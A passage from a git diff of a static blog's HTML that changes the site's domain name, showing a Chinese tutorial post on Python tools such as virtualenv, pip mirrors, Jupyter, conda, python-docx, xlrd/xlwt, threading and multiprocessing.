src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Python的一些神器的简单用法</h1><div class=post-meta><span title='2021-06-16 14:39:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Python%e7%9a%84%e4%b8%80%e4%ba%9b%e7%a5%9e%e5%99%a8%e7%9a%84%e7%ae%80%e5%8d%95%e7%94%a8%e6%b3%95.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境</p><p>用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响</p><p>当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题</p><p>Windows
+cd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Python的一些神器的简单用法","item":"https://chenjunlinabc.github.io/posts/27/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Python的一些神器的简单用法","name":"Python的一些神器的简单用法","description":"Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境\n用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响\n当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题\nWindows pip install virtualenvwrapper-win\n使用pip安装Virtualenv\npip3 install virtualenv\n然后创建一个Virtualenv虚拟环境\nvirtualenv webpy #webpy为虚拟环境目录名，目录名自定义\nvirtualenv -p python环境路径 虚拟环境名 #创建指定Python环境路径的虚拟环境\nvirtualenv \u0026ndash;no-site-packages 虚拟环境名 #创建一个干净的Python虚拟环境，系统Python环境的所有第三方包不会复制过来\nvirtualenv \u0026ndash;no-site-packages \u0026ndash;python=版本名 虚拟环境名 #创建一个指定python版本的虚拟环境\nworkon # 输出所有虚拟环境名 Windows\nworkon 虚拟环境名 # 进入虚拟环境 Windows\nsource 文件夹路径 # 激活当前virtualenv并进入虚拟环境\n或者进入虚拟环境目录的bin目录，输入source activate\nWindows是在虚拟环境目录下的Scripts目录，输入activate\ndeactivate # 退出当前环境\n在虚拟环境下，使用pip安装的所有第三方包都会安装到当前的虚拟环境中，不会对系统的Python环境进行\u0026quot;污染\u0026quot;\n想要删除某一个虚拟环境时，只需要将虚拟环境的目录删除\npip使用国内源\n清华：https://pypi.tuna.tsinghua.edu.cn/simple 豆瓣：http://pypi.douban.com/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/\n临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas\nlinux下\n配置永久使用\ncd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.","keywords":["Python"],"articleBody":"Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境\n用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响\n当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题\nWindows pip install virtualenvwrapper-win\n使用pip安装Virtualenv\npip3 install virtualenv\n然后创建一个Virtualenv虚拟环境\nvirtualenv webpy #webpy为虚拟环境目录名，目录名自定义\nvirtualenv -p python环境路径 虚拟环境名 #创建指定Python环境路径的虚拟环境\nvirtualenv –no-site-packages 虚拟环境名 #创建一个干净的Python虚拟环境，系统Python环境的所有第三方包不会复制过来\nvirtualenv –no-site-packages –python=版本名 虚拟环境名 #创建一个指定python版本的虚拟环境\nworkon # 输出所有虚拟环境名 Windows\nworkon 虚拟环境名 # 进入虚拟环境 Windows\nsource 文件夹路径 # 激活当前virtualenv并进入虚拟环境\n或者进入虚拟环境目录的bin目录，输入source activate\nWindows是在虚拟环境目录下的Scripts目录，输入activate\ndeactivate # 退出当前环境\n在虚拟环境下，使用pip安装的所有第三方包都会安装到当前的虚拟环境中，不会对系统的Python环境进行\"污染\"\n想要删除某一个虚拟环境时，只需要将虚拟环境的目录删除\npip使用国内源\n清华：https://pypi.tuna.tsinghua.edu.cn/simple 豆瓣：http://pypi.douban.com/simple/ 中国科技大学 https://pypi.mirrors.ustc.edu.cn/simple/\n临时使用 pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pandas\nlinux下\n配置永久使用\ncd ~ # 进入用户目录 mkdir .pip # 新建一个隐藏文件夹 touch pip.conf # 新建一个文件 nano pip.conf # 编辑文件，这里使用nano，可以使用其他编辑器，例如vim\n在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple\nwindows下\n配置永久使用\n在user目录下创建一个pip目录\n在该目录新建一个pip.ini文件\n在文件中添加 [global] index-url = https://pypi.tuna.tsinghua.edu.cn/simple [install] trusted-host = pypi.tuna.tsinghua.edu.cn\njupyter\n最简单的安装方法就是使用python的科学计算包—-Anaconda\n该发行版中包含了大量的科学包，其中就附带了jupyter\n可以通过 pip 来安装 pip install jupyter notebook\n启动notebook服务器也很简单，在终端使用jupyter notebook命令就可以了‘’\n服务器的默认地址是http://localhost:8888\n通过点击“New”，来新建文件夹或者文档\n通过ctrl+c来关闭服务器\n修改jupyter默认工作路径\n在终端使用jupyter notebook –generate-config\n输出一个路径的文件，修改这个文件\n找到#c.NotebookApp.notebook_dir = ''\n修改成c.NotebookApp.notebook_dir = ‘你想要修改到的那个工作目录的路径’\n这个工作目录必须提前创建好，否则可能出现闪退\n修改默认浏览器\n同样在终端使用jupyter notebook –generate-config\n如果你已经知道这个文件在哪里可以不用，这个命令只是让我们找到jupyter的配置文件，jupyter_notebook_config.py\n找到#c.NotebookApp.notebook_dir = ''\n在它的后面加入\nimport webbrowser webbrowser.register( \"Microsoft Edge\", None, webbrowser.GenericBrowser(u\"\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"\") ) c.NotebookApp.browser = \"Microsoft Edge\" 路径要修改为浏览器的路径\nconda\nconda有两个，一个是anaconda，另一个是miniconda\nanaconda是集成（包含）了一些科学计算包，而miniconda是你要用什么就装什么\nMiniconda 是一个 Anaconda 的轻量级版本，默认只包含了 python 和 conda，但是可以通过 pip 和 conda 来安装所需要的包。\n这里安装的minicoda\nwget https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-x86_64.sh\nbash Miniconda3-latest-Linux-x86_64.sh\n如果是新机器，一路yes就可以了\n创建环境\nconda create –name webpy python=3.7 // 建立一个名叫py37的环境，指定Python版本为Python3.7的最新版本\n激活环境\nactivate webpy // 用于Windows系统 source activate webpy // 用于mac或者linux系统\npython –version // 检查Python版本\n退出当前环境 deactivate webpy // 用于Windows系统 source deactivate webpy // 用于mac或者linux系统\nconda remove –name webpy –all // 删除指定环境\nconda info -e // 查看系统的所有环境\nconda install numpy // 安装numpy库\nconda list // 查看已经安装好的库\nconda list -n webpy // 查看指定环境已经安装好的库\nconda install -n webpy numpy // 安装库到指定环境内\nconda update -n webpy numpy // 指定环境更新指定库\nconda remove -n webpy numpy // 删除指定环境中的指定库\nconda update anaconda // 更新anaconda\nconda update python // 更新Python\n添加国内镜像来提升下载速度（使用清华镜像站）\nconda config –add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/ conda config –add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/ conda config –set show_channel_urls yes\ndocx模块（操作Word）\n导入模块 from docx import Document from docx.shared import Inches\n初始化Document对象 document = Document() Document(“1.docx”)\n写入标题，段落样式由level控制，范围0到9，默认为1 document.add_heading(text=“hallo word”,level=9)\n写入段落，段落样式由style控制 data = document.add_paragraph(text=“https://xiaochenabc123.test.com/\",style=None)\n插入段落到现有段落中，段落样式由style控制 data.insert_paragraph_before(text=“abcxyz”,style=None)\n插入图片,并且缩小图片英寸为1.6 document.add_picture(“1.jpg”,width=Inches(1.6))\n插入表格，rows是指定行数，cols是指定行数，style为表格样式 table = document.add_table(rows=1,cols=3,style=“Table Grid”)\n插入列表中第一行的单元格\nmaincells = table.rows[0].cells maincells[0].text = “id” maincells[1].text = “user” maincells[2].text = “pass”\n初始化 data_cells =( [1,“root”,“a”], [2,“admin”,“b”], [3,“user”,“c”] )\n写入 for item in data_cells: maincells_rows = table.add_row().cells maincells_rows[0].text = str(item[0]) maincells_rows[1].text = item[1] maincells_rows[2].text = item[2]\n保存 document.save(“hallo.docx”)\ndocx样式\n导入模块\nfrom docx import Document from docx.shared import Pt from docx.shared import RGBColor from docx.oxml.ns import qn\n初始化Document对象 document = Document(“1.docx”)\n插入页眉 header = document.sections[0].header\nheader.add_paragraph(“hallo python”)\n插入页脚 footer = document.sections[0].footer\nfooter.add_paragraph(“hallo word”)\n样式 p1 = document.add_paragraph() text1 = p1.add_run(“hallo WORD，hallo python-docx，你好，世界”)\n字体大小 text1.font.size = Pt(16)\n字体是否加粗 text1.bold = True\n字体 text1.font.name = “黑体”\n字体（只能设置中文） text1.element.rPr.rFonts.set(qn(“w:eastAsia”), “黑体”)\n字体颜色 text1.font.color.rgb = RGBColor(0, 0, 255)\n斜体 text1.italic = True\n下划线 text1.underline = True\n保存 document.save(“hallo.docx”)\nxlrd模块+xlwt模块(操作xlsx)\n注意：xlrd模块只有低于或等于1.2.0版本才能操作xlsx文件，高于该版本只支持xls文件，或者使用openpyxl代替xlrd模块\n导入xlrd模块 import xlrd\n加载1.xlsx data = xlrd.open_workbook(“1.xlsx”)\n判断是否加载成功，可以指定第几张工作表，0为第一个工作表 print(data.sheet_loaded(0)) #True\n卸载指定工作表 data.unload_sheet(0)\n输出全部工作表名字（Sheet） print(data.sheet_names())\n输出工作表的数量 print(data.nsheets)\n输出全部所有sheet对象 print(data.sheets())\n将指定工作表索引到变量中 main = data.sheet_by_index(0)\n名字索引到变量中 main = data.sheet_by_name(“Sheet1”)\n输出工作表名字 print(main.name)\n输出工作表有效总行数 print(main.nrows)\n输出工作表有效总列数 print(main.ncols)\n输出工作表有效总列数 print(main.row_len(1))\n输出单元格值类型和内容 print(main.row(0))\n数据类型： 空：0 字符串：1 数字：2 日期：3 布尔：4 error：5\n输出第1行第二列的单元格内容 print(main.row(0)[1].value)\n输出第二列表的全部内容 print(main.col(1))\n输出第一行的内容 print(main.row_values(0))\n输出单元格数据类型 print(main.row_types(0))\n输出第一列的内容 print(main.col_values(0))\n输出第二列的数据类型 print(main.col_types(1))\n输出第6行第一列内容和数据类型 print(main.cell(5,0))\n输出第6行第一列内容的数据类型 print(main.cell(5,0).ctype)\n输出第6行第一列内容 print(main.cell(5,0).value)\n利用xlwt模块写\n导入xlwt模块 import xlwt\nxlwt模块不支持xlsx，只支持xls\n新建workbook，字符集为utf-8 hallo = xlwt.Workbook(encoding=“utf8”)\n新建sheet abc = hallo.add_sheet(“Sheet1”)\n第1行到第3行和第1列到第9列合并并且写入hallo word abc.write_merge(0,2,0,8,“hallo word”)\n在第4行第1列写入hallo word abc.write(3,0,“hallo word”)\n批量写入 data = ((1,“hallo”,“abc”,“xyz”,123),(1,“hallo”,“abc”,“xyz”,123))\nfor i,a in enumerate(data): for q,s in enumerate(a): abc.write(i,q,s) 在第1行第1列写入图片，只支持bmp格式 abc.insert_bitmap(“1.bmp”, 0, 0)\n保存 hallo.save(“hallo.xls”)\n样式\n初始化 style = xlwt.XFStyle()\n初始化样式 stylefont = xlwt.Font()\n名称 stylefont.name = “宋体”\n加粗 stylefont.bold = True\n字号 stylefont.height = 11*20\n字体颜色，注意不是RGB颜色，而是在xlwt内部定义的 stylefont.colour_index = 0x0A\nstyle.font = stylefont\n初始化Alignment align = xlwt.Alignment()\n水平对齐方式 align.vert = 0x01\n垂直对齐方式 align.horz = 0x00\n应用对齐方式 style.alignment = align\n水平对齐方式 0x01(左端对齐) 0x02(水平居中对齐) 0x03(右端对齐)\n垂直对齐方式 0x00(上端对齐) 0x01(垂直居中对齐) 0x02(底部对齐)\n初始化Borders borders = xlwt.Borders()\n指定边框样式 borders.right = xlwt.Borders.DASHED\n应用边框 style.borders = borders\ntop 上边框 bottom 下边框 left 左边框 right 右边框\nDOTTED 点线 DASHED 虚线\n初始化Pattern color = xlwt.Pattern()\n填充模式为完全填充 color.pattern = xlwt.Pattern.SOLID_PATTERN\n填充黑色 color.pattern_fore_colour = 0\n应用 style.pattern = color\n应用style abc.write_merge(0,2,0,8,“hallo word”,style)\nxlrd和xlwt使用起来不是很好，而且xlwt模块不支持xlsx，因此不详细写，openpyxl才是王道\nCelery是一个基于Python开发的分布式任务调度模块\n安装\npip install celery[redis]\n如果需要redis消息中间件的话，也可以选择RabbitMQ\neasy_install是一个基于setuptools的工具，可以用来下载，编译，管理Python的包\n官网：http://peak.telecommunity.com/DevCenter/EasyInstall\n安装setuptools就会安装easy_install\npip install setuptools\n或者通过ez_setup.py来安装\nhttps://pypi.org/project/ez_setup/\n下载ez_setup.py的源程序\n安装easy_install： python ez_setup.py\n更新easy_install: python ez_setup.py –U setuptools\n安装包\neasy_install Virtualenv\n也可以通过url来安装\n将已经安装的到pypl上最新版本\neasy_install –upgrade PyProtocols\n更新包\neasy_install “Virtualenv==x.x”\n或者要求版本大于某个版本：\neasy_install “Virtualenv\u003ex.x”\n查找PyPI上的最新可用版本\neasy_install –upgrade Virtualenv\n删除包\n只需要删除包名版本的.egg文件或者目录，如果不想继续使用删除的包，然后easy_install -mxN 包名\nPython内置多线程库threading\n进程是资源分配的最小单位，一个程序必须至少有一个进程，一个进程必须至少有一个线程\n线程是程序执行的最小单位，多线程是可以有效加速程序计算\n进程的资源独立（独立内存，地址空间等等），而线程是可以共享进程中的数据的（IPC），同一个进程下的线程，共享使用相同的地址空间（全局），但是也存在数据同步和互相排斥的问题\n导入threading模块\nimport threading\n查看全部正在运行的线程信息（不包括没启动或者已经终止的线程）\nthreading.enumerate()\n查看正在运行的线程的数量\nthreading.active_count()\n查看正在运行的线程信息\nthreading.current_thread()\n添加线程（需要接受target参数，该参数指向这个线程要完成的任务）\nthreading.Thread(target=xxx)\n启动线程\nthread.start()\n终止线程（会等待线程终止）\nthread.join()\n简单的例子：\nimport threading def funs(name,data): print(\"hallo\",name,data) a1 = threading.Thread(target=funs, args = (\"root\",666)) a1.start() a1.join() 执行后如果看到hallo root 666就说明已经执行线程成功了\n线程锁Lock\n同一进程下的线程是可以共享内存的，而Lock是保证多线程之间不会出现内存被乱改或者没有同步，多线程在执行修改内存后，进行lock.acquire()共享内存上锁，执行完毕在解锁lock.release()\nPython多进程库multiprocessing\nmultiprocessing库用法和threading类似，例如：\nimport multiprocessing def funs(name,data): print(“hallo”,name,data) if name==’main’: a1 = multiprocessing.Process(target=funs, args = (“root”,666)) a1.start() a1.join()\n进程池 Pool（进程池就是将需要完成的任务，放到该进程池中，由Python自己解决多进程问题）\n例如：\nimport multiprocessing def demo(x): return x+x def funs(): pool = multiprocessing.Pool() data = pool.map(demo, range(3)) print(\"hallo\",data) if __name__=='__main__': funs() Pool自定义需调用核数量（默认为CPU的核数）\npool = multiprocessing.Pool(processes=4) 进程锁和线程锁用法一样，就不写了\n","wordCount":"744","inLanguage":"en","datePublished":"2021-06-16T14:39:00Z","dateModified":"2021-06-16T14:39:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/27/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Python的一些神器的简单用法</h1><div class=post-meta><span title='2021-06-16 14:39:00 +0000 UTC'>2021-06-16</span>&nbsp;·&nbsp;4 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Python%e7%9a%84%e4%b8%80%e4%ba%9b%e7%a5%9e%e5%99%a8%e7%9a%84%e7%ae%80%e5%8d%95%e7%94%a8%e6%b3%95.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Virtualenv是一个能创建隔绝的独立的Python虚拟环境工具。它能够建立多个相互独立，互不影响的Python工作环境</p><p>用来创建一套独立于系统Python环境的虚拟环境，在虚拟环境下，使用pip安装的依赖都会安装到当前的虚拟环境中，对系统的python环境没有影响</p><p>当开发多个Python程序时当，程序1要使用3.6环境，但是程序2要使用3.8环境时，Virtualenv可以完美解决这个问题</p><p>Windows
 pip install virtualenvwrapper-win</p><p>使用pip安装Virtualenv</p><p>pip3 install virtualenv</p><p>然后创建一个Virtualenv虚拟环境</p><p>virtualenv webpy #webpy为虚拟环境目录名，目录名自定义</p><p>virtualenv -p python环境路径 虚拟环境名 #创建指定Python环境路径的虚拟环境</p><p>virtualenv &ndash;no-site-packages 虚拟环境名 #创建一个干净的Python虚拟环境，系统Python环境的所有第三方包不会复制过来</p><p>virtualenv &ndash;no-site-packages &ndash;python=版本名 虚拟环境名 #创建一个指定python版本的虚拟环境</p><p>workon # 输出所有虚拟环境名 Windows</p><p>workon 虚拟环境名 # 进入虚拟环境 Windows</p><p>source 文件夹路径 # 激活当前virtualenv并进入虚拟环境</p><p>或者进入虚拟环境目录的bin目录，输入source activate</p><p>Windows是在虚拟环境目录下的Scripts目录，输入activate</p><p>deactivate # 退出当前环境</p><p>在虚拟环境下，使用pip安装的所有第三方包都会安装到当前的虚拟环境中，不会对系统的Python环境进行"污染"</p><p>想要删除某一个虚拟环境时，只需要将虚拟环境的目录删除</p><hr><p>pip使用国内源</p><p>清华：https://pypi.tuna.tsinghua.edu.cn/simple
 豆瓣：http://pypi.douban.com/simple/
 中国科技大学 <a href=https://pypi.mirrors.ustc.edu.cn/simple/>https://pypi.mirrors.ustc.edu.cn/simple/</a></p><p>临时使用
@@ -227,8 +227,8 @@
 if __name__=='__main__':
     funs()
 </code></pre><p>Pool自定义需调用核数量（默认为CPU的核数）</p><pre><code>pool = multiprocessing.Pool(processes=4)
-</code></pre><p>进程锁和线程锁用法一样，就不写了</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/python/>Python</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/28/><span class=title>« Prev</span><br><span>python基础语法笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/26/><span class=title>Next »</span><br><span>简单搭建一个hexo博客</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+</code></pre><p>进程锁和线程锁用法一样，就不写了</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/python/>Python</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/28/><span class=title>« Prev</span><br><span>python基础语法笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/26/><span class=title>Next »</span><br><span>简单搭建一个hexo博客</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/28/index.html b/posts/28/index.html
index 1b13da29..dfac0dba 100644
--- a/posts/28/index.html
+++ b/posts/28/index.html
@@ -37,8 +37,8 @@
 python能直接处理的有：整型，浮点型，字符串，布尔值，空值，变量，常量
 python可以处理整型任意大小的整数，也可以使用二进制代表整数、
 浮点型就是小数，使用科学记数法表示时，一个浮点数的小数点位置是可变的，所以小数又叫浮点型，表示很大或很小的浮点数，必须用科学计数法表示
-字符串是使用&#34;&ldquo;和&rsquo;&lsquo;括起来的任意文本，&lsquo;&lsquo;或&#34;&ldquo;本身只是一种表示方式，不是字符串的一部分"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/28/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="python基础语法笔记"><meta property="og:description" content="安装python
+字符串是使用&#34;&ldquo;和&rsquo;&lsquo;括起来的任意文本，&lsquo;&lsquo;或&#34;&ldquo;本身只是一种表示方式，不是字符串的一部分"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/28/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
